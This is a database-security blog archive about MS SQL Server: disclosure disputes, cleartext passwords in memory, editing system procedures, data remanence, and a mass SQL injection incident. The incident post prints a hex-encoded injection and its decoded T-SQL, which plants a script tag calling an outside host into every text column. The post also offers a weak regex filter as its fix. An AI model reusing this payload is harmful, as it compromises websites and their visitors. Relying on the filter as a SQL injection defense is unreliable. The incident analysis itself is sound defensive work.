Entries tagged with “MS SQL Server”.
Did you find what you wanted?
Thu 19 Aug 2010
Sometimes, you want to enhance or change system stored procedures to add functionality like security related code. This is not supported and might blow up in your face so all the standard caveats apply. If it blows in your face, tough luck!
SQL2000 is pretty straight forward and you can find plenty of places on the web that will help you with the details.
Using SQL2005 and SQL2008 the process is a bit more complicated:
1. Stop SQL Server service.
2. On command prompt run the following command to run the server in single user mode – be sure to replace the MSSQLSERVER with the actual instance name
C:\>”C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe” -sMSSQLSERVER -m
3. Connect to SQL server with SSMS as ADMIN:HOSTNAME
4. Run the following to change the database to the system resource database: “USE mssqlsystemresource”
5. Run the following to change the database to read-write – “alter database mssqlsystemresource set read_write”
6. Run the following to load the text of the procedure – exec sp_helptext ‘stored procedure name you want to change’
7. Alter the procedure and add the relevant code – “alter procedure …”
8. Return the system resource database to read-only – “alter database mssqlsystemresource set read_only”
9. Shutdown the instance – “shutdown”
10. Start the instance using the service as usual
And, that is it. A somewhat complex process to change a system stored procedure.
Wed 3 Feb 2010
Yesterday at Black Hat, David released information on his latest find, a pretty serious batch of vulnerabilities in Oracle 11g which allows any user to escalate privileges to gain complete access & control of the database.
What’s interesting here is not so much that there is yet another vulnerability (for those of you who are running Hedgehog and getting vPatch updates, you are already protected!), but more how this demonstrates the very tricky relationship that often exists between ethical security researchers and the database vendors.
David has been contributing to the Oracle DB security research community for many years, and certainly has the process down pretty well for notifying Oracle and giving them time to make the fix before going public. But, this time around, things didn’t go as planned. After notifying Oracle in November, he apparently wasn’t satisfied with their response, and decided it was best to announce the vulnerability now. The good news is he also provided recommendations on how to protect systems from being exploited.
We know how he feels. In 6 out of the last 7 Oracle CPUs, one or more Sentrigo employees has been credited for contributions. Pretty impressive for our size, and a testament to the work of our Red Team. In all of those cases, we’ve been pretty satisfied with the pace of Oracle fixes, and have simply built protection into our products from our day-zero discovery and waited for Oracle to release a patch.
But, for those of you who have been reading this blog for a while, you’ll recall the incident last September, when after a year of prodding Microsoft to fix a flaw in SQL Server, we too reached a point of frustration and announced it. Also, with a fix of course. But, the decision to do this is not an easy one. The very vendors you are hoping to have an excellent working relationship with, are not likely to be happy. In this case, Microsoft tried to argue that it was not very serious… but as security researchers we simply didn’t agree (nor did most of the public based on comments we received). I’m sure David felt the same way about this recent vulnerability. You can’t simply leave it there for other (less ethical) people to find and exploit.
So, we’ll see how this one plays out… I’m guessing Oracle will eventually provide a patch. But, it does raise the question of what the white hats of the world are supposed to do, when a vendor simply doesn’t get it. I’d be interested in your thoughts…
Wed 2 Sep 2009
A member of Sentrigos’ security and research team, Assaf Nativ, found an interesting security issue in all versions of MS SQL Server. Turns out that SQL Server saves in memory in clear text user credentials (passwords) of users logging in using SQL Server native authentication. Users using Windows authentication are not affected. Although Microsoft recommends that only Windows authentication should be used, the reality is that many instances are configured to use mixed mode authentication with applications and administrators connecting to the instance using native authentication.
We, of course, reported this to MSRC about a year ago but received a response saying that this is not a security issue because it requires administrative privileges to exploit. Well, we respectfully disagreed and approached MSRC several times but without success in changing their mind.
I believe that this is indeed a security flaw that should be fixed for the following reasons:
- How many passwords do you use? For how many systems? You do the math 🙂 – most users reuse the same passwords between systems because it’s impossible to remember a separate strong password for all systems we use. Even administrators should not have access to end users’ set of passwords, as they can gain access to sensitive systems that were not open to them.
- Most breaches are perpetrated by skilled insiders (e.g. administrators, programmers, etc). It is for this very reason that various standards and regulations mandate segregation of duties.
- Many applications are deployed with administrative privileges. Hackers using a single SQL injection vulnerability can now access administrative passwords which may be used to penetrate other systems on the network, escalating the breach. This is even worse in the case of SQL Server 2000 and 2005 where this can be done remotely.
We, at Sentrigo, were convinced that SQL Server administrators out there should be aware of the danger and also should have a way to mitigate it so we’ve decided to publicize it and release a free tool to remove the clear text passwords from memory.
What do you think about this issue? I’d love to hear your thoughts.
Fri 19 Sep 2008
I’ve just noticed that Microsoft had removed the DBCC BYTES command from DBCC.
DBCC HELP (‘?’)
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
While running the same thing on 2008 does not contain DBCC BYTES.
I wonder what’s the reason for this change (I’ve checked the binary and it does not contain DBCC BYTES so it’s not just a help omision. I can think of several security reasons why you would like to remove this feature like reading interesting parts of memory remotely. On the other hand, it can be totally security unrelated. If anyone out there knows, please do share.
Thu 28 Aug 2008
Its been a long time since I’ve written anything here. I’ve been extremely busy with my family move to the bay area. I still can’t believe the amount of paperwork required. I’ve filled virtually hundreds of forms and it’s not over yet. But, after a month here, I can say that we’ve finally settled down. Kids go to school, house is almost fully organized, my wife and I got our iPhones 3G 🙂
Anyway, back to the subject of this entry – weird statements you see coming from applications when monitoring databases.
- I’m still amazed to see the number of statements doing things like ‘where 1=1’ just out of sheer laziness of the programmer to check if the condition to append to a dynamic query is the first or the second. It’s not like this really hurts performance on mature databases because the optimizer will strip such predicates away when evaluating the execution plan, but those statements can really throw off a security solution trying to alert on SQL injection. Seeing such statements from applications written by database vendors (you know who you are) can really get me frustrated!
- Another oddity I mostly see on MS SQL Server databases is the tendency to dynamically create stored procedures on the fly, and then call them to do simple things like updates and inserts. Does anyone really think that this is more secure or provides better performance than simply running the statement?
- An anti-design pattern I’ve seen many times is choosing the ID of the next row by selecting max(id) + 1 from the table. It really made me laugh when I’ve seen this code in one particular instance responsible for adding rows to the audit table! For example, in a highly transactional environment, two sessions can perform select max(id) + 1 in the same time receiving the same number. Trying to use this as a new id will succeed in one session and fail in the other one thus omitting records from the log.
- Enough was written about the “When others then null” exception handling…
How about you guys out there? What is the weirdest statement you’ve seen applications perform?
Fri 20 Jun 2008
SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));– ORDER BY ooo ASC
Couple of things to notice:
- As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
- The attack itself was hex-encoded to avoid detection and various complications
The attack decodes in SQL Server to the following code:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.
So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:
- If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
- Most of the parameters are simple integers and no type checks are performed
- Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements
Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until —
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.
Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp
And voila, the site is up and running…
Mon 2 Jun 2008
Posted by Slavik under DBA, insider threat, MS SQL Server, security, technical tips
Comments Off on So, you think you’ve removed that sensitive data (part II)
As I wrote in a previous post, truncating tables or scrambling content might not remove the actual data from the datafiles. The examples I gave in that post were Oracle related and now I’ll show the same using MS SQL Server 2005. I’d like to thank Dmitriy Geyzerskiy for providing the actual working example.
create database Test
— Create a dummy table
create table aaa (a varchar(100));
— Populate with dummy data (object names)
insert into aaa
select name from sys.all_objects;
— Make sure the data is flushed to the disk
–get the file and page offsets
CONVERT (VARCHAR (6),
SUBSTRING (sa.first_page, 6, 1) +
SUBSTRING (sa.first_page, 5, 1))) as [File offset],
CONVERT (VARCHAR (20),
SUBSTRING (sa.first_page, 4, 1) +
SUBSTRING (sa.first_page, 3, 1) +
SUBSTRING (sa.first_page, 2, 1) +
SUBSTRING (sa.first_page, 1, 1))) AS [First page]
sys.system_internals_allocation_units AS sa,
sys.partitions AS sp
sa.container_id = sp.partition_id
AND sp.object_id = OBJECT_ID(‘aaa’);
–Allow DBCC output in user window
–truncate the table
TRUNCATE TABLE aaa
–examine the contents of the page (all the objects from the truncated table are there)
DBCC PAGE (‘Test’, — database name
1, — [File offset] from previous query
73, — [First page] from previous query
3) — extended output option
Mon 26 May 2008
A somewhat technical post on MS SQL Server encrypted triggers.
It turns out that MS SQL Server 2005 has an issue with encrypted triggers in the model database. We’ve created an encrypted database level trigger on DDL operations in all databases including the model database so that when a new database is created the trigger will be created in the new database as well. The problem we’ve encountered is that the encrypted triggers are not correctly copied to the new database.
For example, here is the code for creating the triggers:
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
IF EXISTS (SELECT * FROM sys.triggers
WHERE parent_class = 0 AND name = ”TEST_DDL_TRIGGER”)
DROP TRIGGER TEST_DDL_TRIGGER
SET QUOTED_IDENTIFIER ON;
SET ANSI_NULLS ON;
EXECUTE(”CREATE TRIGGER TEST_DDL_TRIGGER
ON DATABASE WITH ENCRYPTION
— Do something…
Now, let’s test this:
create database test;
create table tt (id int);
And voila –
Msg 102, Level 15, State 1, Procedure TEST_DDL_TRIGGER, Line 1
Incorrect syntax near ‘0xfa86’.
So, is there any MS SQL Server expert out there who can shed some light on this behavior? It looks like a bug to me.